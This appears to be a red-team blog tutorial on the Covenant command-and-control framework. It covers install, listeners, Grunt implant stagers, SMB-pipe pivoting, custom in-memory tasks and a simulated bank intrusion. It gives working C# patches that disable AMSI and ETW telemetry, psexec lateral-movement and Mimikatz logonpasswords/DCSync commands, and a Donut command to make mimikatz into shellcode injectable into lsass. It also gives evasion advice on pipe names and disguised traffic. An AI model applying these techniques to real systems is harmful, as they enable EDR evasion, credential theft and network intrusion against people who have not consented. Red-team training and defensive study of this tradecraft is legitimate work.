Covenant is a .NET-based command-and-control framework written by Ryan Cobb (cobbr) and the C2 framework most operators cut their teeth on between roughly 2019 and 2022. It’s effectively unmaintained today, replaced in the active rotation by Sliver, Mythic, Havoc, Brute Ratel, and Nighthawk, but it’s still worth knowing because the design choices it made (dynamically compiled .NET tasks, a web UI for collaboration, a clean listener/grunt/task separation) are the template the modern frameworks built on. It also remains a useful lab target precisely because EDR signatures for stock Covenant are well-developed, which makes it a good environment for practicing the evasion techniques (AMSI patching, ETW patching, in-memory loading) that are now table stakes against any Windows EDR.
This walkthrough covers the architecture, the install, listeners and Grunt deployment, the AMSI and ETW bypass techniques you need to survive modern Windows defense, SMB-named-pipe P2P routing for reaching the parts of the network the perimeter is supposed to wall off, Donut for wrapping non-.NET payloads as shellcode, and writing custom tasks. The Mimikatz section and the simulated bank heist walkthrough at the end are there to show the framework in operator-shape rather than tutorial-shape.
Architecture#
Covenant is a server-client design with four moving parts:
- Covenant server. ASP.NET Core service that orchestrates operations, manages Grunts, and serves the web UI. Multi-user from day one, which is what made it the default lab framework for purple team work.
- Grunt. The implant that runs on the target box. Written in C# and dynamically recompiled per deployment, which means each Grunt has a different hash and a different set of supported tasks. (Not to be confused with the Grunt JavaScript task runner, which has no relationship to this project.)
- Listener. The server-side component that handles inbound traffic from Grunts. HTTP and HTTPS are the standard transports; SMB named pipes handle the P2P case covered below.
- Task. A unit of work the Grunt executes. Tasks are C# source code on the server that gets dynamically compiled with Roslyn, sent to the Grunt, and loaded into memory without ever touching disk. That in-memory compilation pattern is what most modern .NET-based frameworks copied.
Grunts talk back to the server over the listener’s transport with their own encrypted layer on top (per-Grunt keys negotiated at staging time). The server can route between listeners, which is what makes the SMB-pipe P2P story work later.
Install and first run#
Prerequisites: .NET Core 3.1 SDK and Git. The .NET requirement is the install’s biggest annoyance in 2026 because 3.1 is out of support, which means you’ll either pin a Docker image or accept a deprecated runtime on the C2 host. The Dockerfile in the repo handles this; running it directly on a modern host is more friction than it’s worth.
git clone --recurse-submodules https://github.com/cobbr/Covenant.git
cd Covenant/Covenant
dotnet build
dotnet runThe web UI comes up at https://localhost:7443 with a self-signed cert. On first launch, Covenant lets you register the initial admin account through the UI, then closes registration. Pick a strong password the first time around; the registration window is open until someone uses it, and a lab box on a hotel Wi-Fi is the wrong place to discover this. The recommended deployment is behind a reverse proxy with a real cert (Caddy is the lazy default) so the UI isn’t visible on the wire and the Grunts can hit a clean hostname.
Listeners#
Listeners are the inbound side of the C2 channel. HTTP and HTTPS are the common transports; the framework also supports custom HTTP profiles for traffic shaping. In the web UI: Listeners → Create → HttpListener, set Name, BindAddress, Port, and (if the server is behind NAT) ConnectAddress and ConnectPort. The URLs field lets you set the callback paths; default values look like Covenant by name, so on a real engagement you’d change them to blend with normal browser traffic.
For initial lab work, an HTTP listener bound to 0.0.0.0:80 is fine. Anything that leaves the lab needs HTTPS, a real domain, and a Malleable-style profile that doesn’t shout “I am a C2 framework” on every callback.
Blinding the sensors: AMSI and ETW#
A .NET Grunt landing on a modern Windows host is walking into two telemetry tripwires that catch unmodified Covenant stagers instantly:
- AMSI (Antimalware Scan Interface).
amsi.dllis loaded into the process when .NET, PowerShell, or VBScript content gets staged for execution; AMSI calls into the registered antivirus to scan the content before it runs. - ETW (Event Tracing for Windows). The CLR emits ETW events for every assembly load and method JIT. EDR consumes those events directly through the
Microsoft-Windows-DotNETRuntimeprovider; you do not need a registered AV to be watching them.
The standard tradecraft is to neutralize both at the Grunt’s process boundary before the rest of the implant runs. Both techniques are well over five years old now and both still work against most stock configurations, which says more about EDR’s reliance on these two channels than it does about how clever the bypasses are.
Patching AmsiScanBuffer#
The canonical x64 patch (Tal Liberman / Matt Graeber lineage) rewrites the first instructions of AmsiScanBuffer to MOV EAX, 0x80070057; RET. 0x80070057 is E_INVALIDARG; AMSI interprets it as “couldn’t scan, give up” rather than “found something bad,” so execution proceeds without the content ever being inspected.
// AMSI patch (conceptual). Production code does the same thing with
// indirect syscalls or manually-mapped ntdll to avoid hooks on
// VirtualProtect / WriteProcessMemory themselves.
IntPtr lib = LoadLibrary("amsi.dll");
IntPtr proc = GetProcAddress(lib, "AmsiScanBuffer");
// MOV EAX, 0x80070057 ; RET
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(proc, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
Marshal.Copy(patch, 0, proc, patch.Length);
VirtualProtect(proc, (UIntPtr)patch.Length, oldProtect, out uint _);Patching EtwEventWrite#
ETW telemetry from the CLR flows through ntdll!EtwEventWrite. The standard patch rewrites it to a no-op that returns success (XOR EAX, EAX; RET), so events are constructed and discarded without ever reaching the kernel ETW infrastructure. The pattern is the same as AMSI: locate the symbol, change protection, write three bytes, restore.
IntPtr ntdll = LoadLibrary("ntdll.dll");
IntPtr etw = GetProcAddress(ntdll, "EtwEventWrite");
// XOR EAX, EAX ; RET
byte[] patch = { 0x33, 0xC0, 0xC3 };
VirtualProtect(etw, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
Marshal.Copy(patch, 0, etw, patch.Length);
VirtualProtect(etw, (UIntPtr)patch.Length, oldProtect, out uint _);Covenant ships built-in tasks (BypassAmsi, BlockDlls) that handle the AMSI side. The ETW side has historically been operator-supplied. EDR vendors that care detect both of these by watching for the specific instruction-byte sequences being written into amsi.dll and ntdll.dll; the actual production tradecraft has moved to hardware breakpoints, indirect syscalls, and dynamically-generated patch bytes to defeat exactly that detection. Worth knowing the simple version first; it’s the floor every more sophisticated technique is layered on top of.
Generating and deploying Grunts#
Grunt stagers are created from Grunt Stagers → Create: pick a stager type (PowerShell, MSBuild, Regsvr32, Wmic, Cscript, JScript, InstallUtil, Mshta, Binary), pick the listener you set up, and let Covenant compile the artifact. The output is a script, command line, or compiled binary depending on the type.
The delivery story is what every other Windows tradecraft post covers: HTML smuggling, ISO-mounted LNKs, macro-bearing Office documents in the rare environments that still permit them, signed installer bundles, USB drops. The Grunt itself is agnostic about how it arrives; once it executes and reaches the listener, you have a callback and an interactive session.
The MSBuild stager (XML file containing inline C# that MSBuild compiles and executes) is the historical favorite for evading AppLocker, since MSBuild.exe is signed by Microsoft and is included in most allowlist defaults. EDR caught up to MSBuild abuse years ago, so it triggers on most modern stacks; treat it as a learning artifact more than a primary delivery vector.
Lateral movement: SMB-pipe P2P routing#
Properly segmented networks have a small number of egress-capable subnets (web proxies, mail gateways, DNS forwarders) and many subnets that can’t reach the internet at all. The payment-processing zone, the OT network, the engineering jump-box VLAN: these segments specifically don’t trust the user network and don’t let anything inside them call out. C2 over HTTP from those segments dies at the gateway.
Covenant’s answer is SMB-pipe P2P. A Grunt running inside the segmented zone listens on an SMB named pipe; a Grunt already running on a system with outbound HTTPS access connects to that pipe, multiplexes the inner Grunt’s traffic over its own C2 channel, and the Covenant server treats the inner Grunt as if it had checked in directly. The wire pattern from the segmented host looks like normal SMB to a peer system, which most internal-segment firewalls allow because SMB is the protocol everything in a Windows estate uses for everything.
The setup, abbreviated:
- Create a Bridge listener on the Covenant server. This is what gives the egress-capable Grunt somewhere to forward traffic to.
- Generate the inner Grunt using an SMB Listener profile. Set
PipeNameto something that blends in. Chrome IPC uses names likemojo.5688.8052.143123093843121, and a pipe named that way disappears into the noise. The Covenant default ofgruntsvcis flagged in published Sigma rules; do not ship it. - Get the inner Grunt onto the target. PsExec is the obvious example, but in 2026 PsExec is loud; WMI, scheduled tasks, DCOM (
MMC20.Application,ShellWindows), WinRM, and SMB exec via Impacket’swmiexec/smbexecall work. Pick whichever the target’s EDR is least sensitive to.
psexec \\TARGET-HOST -u DOMAIN\Admin -p Password -c GruntSMB.exeOnce the inner Grunt is running and the egress Grunt connects to its pipe, traffic for the inner Grunt routes inner-host (SMB) → egress-host (HTTPS) → Covenant server. The chain is arbitrarily long: A→B→C→D works the same way, with each hop running an SMB Grunt that bridges further inward. The trade-off is latency (each hop adds round trips) and reliability (any hop dying breaks everything downstream of it), so most operators keep chains short and run multiple parallel paths into the same segment for redundancy.
Interacting with Grunts#
A Grunt that’s checked in shows up under the Grunts tab. Click it for the per-Grunt view: history, hostname, integrity level, parent process, and the Task button that drives everything else. Tasks are picked from a dropdown, parameterized in a form, and dispatched. Output lands in the Taskings tab as soon as the next callback completes.
Running Mimikatz#
Covenant ships a Mimikatz task that wraps the in-memory PowerShell-port version. On a Grunt with the AMSI patch in place:
- Task name:
Mimikatz - Command: the Mimikatz command line, for example
privilege::debug sekurlsa::logonpasswordsfor cleartext credentials in LSASS, orlsadump::dcsync /domain:contoso.local /user:Administratorfor a DCSync if the current context has the right.
The output comes back as Mimikatz’s normal text dump in the Tasking output. On modern Windows (Credential Guard, LSA Protection, RunAsPPL) sekurlsa::logonpasswords returns less than it used to; the operator’s job has shifted toward Kerberos ticket extraction (sekurlsa::tickets), DPAPI vault decryption, and DCSync against accounts that retain replication rights. The actual Mimikatz command set is the same in 2026 as it was when Benjamin Delpy first published it; what’s changed is which of the commands still produce useful output.
Donut: shellcode-wrapping anything that isn’t .NET#
A lot of useful operator tooling isn’t in C#. Custom C++ implants, public PoCs for the latest Windows kernel CVE, native LSASS dumpers built around MiniDumpWriteDump, anything from the C2 ecosystem outside Covenant itself. Loading a native PE in a .NET process is not something the CLR does directly. The bridge is Donut.
Donut, written by TheWover and Odzhan, takes a native PE/DLL/.NET assembly/VBScript/JS file and emits position-independent shellcode that loads and runs the payload entirely in memory. It also wraps the payload in its own AMSI/WLDP/ETW patching, optional Chaskey encryption, and an entry-point thunk. The output is a flat blob the Grunt can execute or inject into another process.
./donut -i mimikatz.exe -a 2 -o mimi.bin # x64 outputIn the Covenant UI: Task → Shellcode, upload mimi.bin, optionally set a PID to inject into a different process (lsass.exe gets you a credential dumper that runs from the security subsystem’s own memory; explorer.exe gets you persistence-shaped behavior; spoolsv.exe is a perennial favorite for the same reason it was a favorite during PrintNightmare).
The Donut/Shellcode pattern is what makes Covenant useful as a delivery framework for tools nobody bothered to port to C#. It also forms the operator’s standard answer to “the tool I need is on GitHub but I don’t want to drop the binary on disk.”
A walked-through engagement (simulated)#
The exercise below is a lab-scale simulation of how Covenant chains together in practice. The target is a fictional retail bank’s internal network, segmented into a corporate user zone, a jump-host tier, and a payment-processing zone that holds the SWIFT gateway. All of this is conducted under a written engagement letter; the bank is contracted, the scope is the SWIFT terminal authentication, and the rules of engagement say “no transfers, prove access.”
Foothold#
Initial access is a spear-phishing email to a marketing analyst. The mail carries an HTML attachment that uses HTML smuggling to assemble an ISO file in the browser; the user mounts the ISO and double-clicks the Project Files.lnk inside. The LNK invokes a hidden PowerShell one-liner that downloads and executes a Covenant PowerShell stager. The stager uses a custom HTTP profile shaped like jQuery CDN traffic (URLs ending in jquery.min.js, request bodies matching cached-content headers) so the user network’s web proxy logs it as static-asset traffic.
Enumeration and evasion#
The Grunt checks in. Before doing anything noisy, we run Seatbelt (loaded in memory via the dynamically compiled task system) to inventory the host. CrowdStrike Falcon is present; we run BypassAmsi immediately to neutralize the AMSI tripwire, and apply the ETW patch as a follow-up task. Nothing has touched disk at this point. Seatbelt confirms the user is a member of BANK\Help Desk Admins, which gives them RDP to the jump-host tier.
Lateral movement to the jump host#
We use SharpRDP to authenticate to JUMP01 over RDP from inside the Grunt’s process, using the credentials we recovered from the user’s DPAPI vault via SharpDPAPI. Once we’re on JUMP01 we deploy an SMB Grunt with a pipe name that mimics Chrome IPC. The new Grunt connects back to the original Grunt over \\JUMP01\pipe\mojo.5688.8052.143123093843121. Covenant routes its traffic through the original Grunt’s HTTP channel.
Reaching the SWIFT gateway#
JUMP01 is on a VLAN that can reach the payment-processing zone over a narrow set of RDP and SMB rules. We repeat the technique: a second hop into the payment zone with another SMB Grunt. From inside the payment zone, we use SharpChrome to extract saved browser credentials, find the SWIFT operator’s session cookie, and use SharpSocks to tunnel a SOCKS-proxied browser session back through the C2 chain so we can authenticate to the SWIFT terminal as the operator.
Per the engagement scope, we screenshot the SWIFT dashboard, document the chain, and write the report. No transfers are initiated. The findings get walked back through to the original phishing target’s email training program, the missing EDR coverage on the jump-host tier, the unexpected egress allowance from the SWIFT zone (RDP outbound was supposed to be blocked but wasn’t), and the absence of pipe-name monitoring on the segmented hosts. Each finding gets a remediation track and a re-test date.
Writing custom tasks#
Custom tasks are how Covenant becomes useful beyond the stock toolkit. A task is C# source code on the server that gets dynamically compiled with Roslyn, sent to the Grunt over the existing C2 channel, loaded into memory, and executed; the Grunt never writes the binary to disk. Adding a task means writing a class that implements the framework’s Task interface and registering it through the UI.
The most common pattern: wrap a public GhostPack tool (Seatbelt, SharpDump, SharpDPAPI, Rubeus) as a task so it runs in the Grunt’s process without an EXE landing on disk. A Seatbelt wrapper looks roughly like this:
using System;
using System.IO;
using Covenant.Agent.Tasks;
public class Seatbelt : Task
{
public string Command { get; set; }
public override string Execute(Tasking tasking)
{
var output = new StringWriter();
Console.SetOut(output);
// Seatbelt is embedded as a Reference Assembly so the
// Grunt loads it from memory at task-execution time.
Seatbelt.Program.Main(Command.Split(' '));
return output.ToString();
}
}The Reference Assembly mechanism is the part that makes this work without a separate disk artifact. Covenant lets you upload arbitrary DLLs and mark them as task dependencies; when a Grunt runs the task, the framework streams the DLLs alongside the source code and the Grunt loads them via Assembly.Load(byte[]). The disk never sees the binary, EDR’s file-system monitoring never fires, and the only artifact is whatever JIT-compiled code AMSI/ETW didn’t catch on the way in.
Where Covenant fits in 2026#
Covenant is effectively a museum piece in active operations. The framework hasn’t seen meaningful upstream work since 2021, the .NET 3.1 dependency is past end-of-support, and the EDR signature databases all have Covenant-shaped patterns memorized. In 2026, paid operators reach for Cobalt Strike, Brute Ratel, or Nighthawk; open-source operators reach for Sliver (BishopFox), Mythic (Cody Thomas / MythicAgents), or Havoc (C5pider). Per Kaspersky’s 2025 incident-response telemetry, Sliver and Havoc together account for most of the open-source C2 traffic they see on engagement.
The reason Covenant is still worth learning is that it is the cleanest worked example of the design pattern every modern .NET-aware framework now uses: a server-side compile-and-stream pipeline, a Grunt that loads everything from memory, AMSI and ETW patching as a survival precondition, and SMB-pipe P2P for crossing network boundaries that don’t permit outbound C2. The same techniques port directly to Sliver’s extensions, Mythic’s payload types, and Havoc’s module system. Cut your teeth on Covenant in the lab, then take what you learned to the framework your actual engagement is using.
References#
- Covenant GitHub and Covenant wiki
- Donut (TheWover and Odzhan)
- SharpSocks (Nettitude)
- GhostPack (Seatbelt, SharpDPAPI, Rubeus, SharpChrome, SharpDump)
- MDSec, Exploring PowerShell AMSI and logging evasion
- Sliver , Mythic , Havoc